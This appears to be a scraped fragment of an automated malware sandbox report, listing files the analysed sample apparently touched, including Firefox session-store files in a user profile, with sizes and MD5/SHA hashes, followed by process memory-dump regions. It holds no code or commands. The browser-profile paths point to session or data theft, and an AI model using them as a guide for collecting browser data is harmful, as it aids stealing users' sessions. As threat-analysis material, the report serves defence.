ca4a8320985791369104487dae9e2ed974e0f99007340fc7a22ede2177e21ad0af5da1caa02e97800a3b8e231f7ebbdf5de41e6431b20a65f7ee2ea43beb1eb7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
5KB

MD5
96ca0c82cf94238042dd727afe81adca

SHA1
d062dbfe7524fd1443afda64f5b05385800d1d5d

SHA256
22cc8e5eeb38ba5ccf14efa345d1e21ddd30ccbbc5f204c04f04bc9a769e40c4

SHA512
4109ebe98494e5c8e2fdcbd9d548a8a4f51c815cb02491d48a608aae3540fbd956d755302c4cf41ed2692d6c6eef81303c98f827acf06bad844de59fef244591

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\sessionstore.jsonlz4

Filesize
7KB

MD5
5515451bcdbf5efc8ab0fb5d13c450dd

SHA1
62b1c7c17cff9d44774076b1948206fedaf50ec2

SHA256
9e0d4d505d8b247e27b599d96d0fbbd962cecbd29af7a00ac650d405915869a4

SHA512
a7e55c4fb2f14176d54e34ec48447651bf85828c3b766d2fb641e5c97bf8fd53b455944d4fdb17fc35941f13b359c7e5feb183ac221649de4b117283c49b8f3e

Download Submit
memory/1828-20-0x0000000008330000-0x00000000083A6000-memory.dmp

Filesize
472KB

Download
memory/1828-17-0x0000000007C20000-0x0000000007F70000-memory.dmp

Filesize
3.3MB

Download
memory/1828-241-0x0000000009670000-0x000000000968A000-memory.dmp

Filesize
104KB

Download
memory/1828-48-0x00000000096E0000-0x0000000009774000-memory.dmp

Filesize
592KB

Download
memory/1828-47-0x0000000009520000-0x00000000095C5000-memory.dmp

Filesize
660KB

Download
memory/1828-42-0x0000000009180000-0x000000000919E000-memory.dmp

Filesize
120KB

Download
memory/1828-41-0x0000000073A30000-0x0000000073A7B000-memory.dmp

Filesize
300KB

Download
memory/1828-40-0x00000000091A0000-0x00000000091D3000-memory.dmp

Filesize
204KB

Download
memory/1828-12-0x00000000047F0000-0x0000000004826000-memory.dmp

Filesize
216KB

Download
memory/1828-13-0x00000000072C0000-0x00000000078E8000-memory.dmp

Filesize
6.2MB

Download
memory/1828-14-0x0000000007230000-0x0000000007252000-memory.dmp

Filesize
136KB

Download
memory/1828-19-0x0000000008020000-0x000000000806B000-memory.dmp

Filesize
300KB

Download
memory/1828-18-0x0000000007FF0000-0x000000000800C000-memory.dmp

Filesize
112KB

Download
memory/1828-246-0x0000000009660000-0x0000000009668000-memory.dmp

Filesize
32KB

Download
memory/1828-16-0x0000000007BB0000-0x0000000007C16000-memory.dmp

Filesize
408KB

Download
memory/1828-15-0x0000000007A40000-0x0000000007AA6000-memory.dmp

Filesize
408KB

Download
memory/4424-34-0x0000000002300000-0x0000000002700000-memory.dmp

Filesize
4.0MB

Download
memory/4424-33-0x00000000004F0000-0x00000000004F7000-memory.dmp

Filesize
28KB

Download
memory/4424-35-0x0000000002300000-0x0000000002700000-memory.dmp

Filesize
4.0MB

Download